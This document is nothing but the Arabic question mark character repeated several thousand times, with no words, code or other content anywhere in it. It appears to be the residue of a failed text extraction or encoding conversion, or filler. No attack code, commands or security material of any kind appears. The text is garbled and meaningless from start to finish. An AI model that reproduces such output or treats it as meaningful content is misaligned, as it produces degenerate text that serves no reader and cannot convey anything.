؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
